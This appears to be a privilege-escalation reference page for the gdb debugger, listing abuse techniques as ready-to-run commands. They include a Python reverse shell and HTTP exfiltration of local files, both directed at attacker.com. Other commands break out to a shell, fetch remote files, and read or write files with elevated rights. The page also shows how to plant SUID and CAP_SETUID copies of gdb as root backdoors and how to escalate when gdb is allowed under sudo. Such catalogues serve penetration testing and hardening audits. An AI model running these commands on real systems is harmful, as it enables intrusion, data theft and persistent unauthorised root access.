.. / gdb

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• Shell
• Reverse shell
• File upload
• File download
• File write
• File read
• Library load
• SUID
• Sudo
• Capabilities

Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

• gdb -nx -ex '!sh' -ex quit

Reverse shell

It can send back a reverse shell to a listening attacker to open a remote network access.

• This requires that GDB is compiled with Python support. Run socat file:`tty`,raw,echo=0 tcp-listen:12345 on the attacker box to receive the shell.

  export RHOST=attacker.com
  export RPORT=12345
  gdb -nx -ex 'python import sys,socket,os,pty;s=socket.socket()
  s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))))
  [os.dup2(s.fileno(),fd) for fd in (0,1,2)]
  pty.spawn("/bin/sh")' -ex quit

File upload

It can exfiltrate files on the network.

• This requires that GDB is compiled with Python support. Send local file via “d” parameter of a HTTP POST request. Run an HTTP service on the attacker box to collect the file.

  export URL=http://attacker.com/
  export LFILE=file_to_send
  gdb -nx -ex 'python import sys; from os import environ as e
  if sys.version_info.major == 3: import urllib.request as r, urllib.parse as u
  else: import urllib as u, urllib2 as r
  r.urlopen(e["URL"], bytes(u.urlencode({"d":open(e["LFILE"]).read()}).encode()))' -ex quit

• This requires that GDB is compiled with Python support. Serve files in the local folder running an HTTP server.

  export LPORT=8888
  gdb -nx -ex 'python import sys; from os import environ as e
  if sys.version_info.major == 3: import http.server as s, socketserver as ss
  else: import SimpleHTTPServer as s, SocketServer as ss
  ss.TCPServer(("", int(e["LPORT"])), s.SimpleHTTPRequestHandler).serve_forever()' -ex quit

File download

It can download remote files.

• This requires that GDB is compiled with Python support. Fetch a remote file via HTTP GET request.

  export URL=http://attacker.com/file_to_get
  export LFILE=file_to_save
  gdb -nx -ex 'python import sys; from os import environ as e
  if sys.version_info.major == 3: import urllib.request as r
  else: import urllib as r
  r.urlretrieve(e["URL"], e["LFILE"])' -ex quit

File write

It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.

• This requires that GDB is compiled with Python support.

  LFILE=file_to_write
  gdb -nx -ex "dump value $LFILE \"DATA\"" -ex quit

File read

It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.

• This requires that GDB is compiled with Python support.

  gdb -nx -ex 'python print(open("file_to_read").read())' -ex quit

Library load

It loads shared libraries that may be used to run code in the binary execution context.

• This requires that GDB is compiled with Python support.

  gdb -nx -ex 'python from ctypes import cdll; cdll.LoadLibrary("lib.so")' -ex quit

SUID

It runs with the SUID bit set and may be exploited to access the file system, escalate or maintain access with elevated privileges working as a SUID backdoor. If it is used to run sh -p, omit the -p argument on systems like Debian (<= Stretch) that allow the default sh shell to run with SUID privileges.

This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To exploit an existing SUID binary skip the first command and run the program using its original path.

• This requires that GDB is compiled with Python support.

  sudo sh -c 'cp $(which gdb) .; chmod +s ./gdb'
  
  ./gdb -nx -ex 'python import os; os.execl("/bin/sh", "sh", "-p")' -ex quit

Sudo

It runs in privileged context and may be used to access the file system, escalate or maintain access with elevated privileges if enabled on sudo.

• sudo gdb -nx -ex '!sh' -ex quit

Capabilities

It can manipulate its process UID and can be used on Linux as a backdoor to maintain elevated privileges with the CAP_SETUID capability set. This also works when executed by another binary with the capability set.

• This requires that GDB is compiled with Python support.

  cp $(which gdb) .
  sudo setcap cap_setuid+ep gdb
  
  ./gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit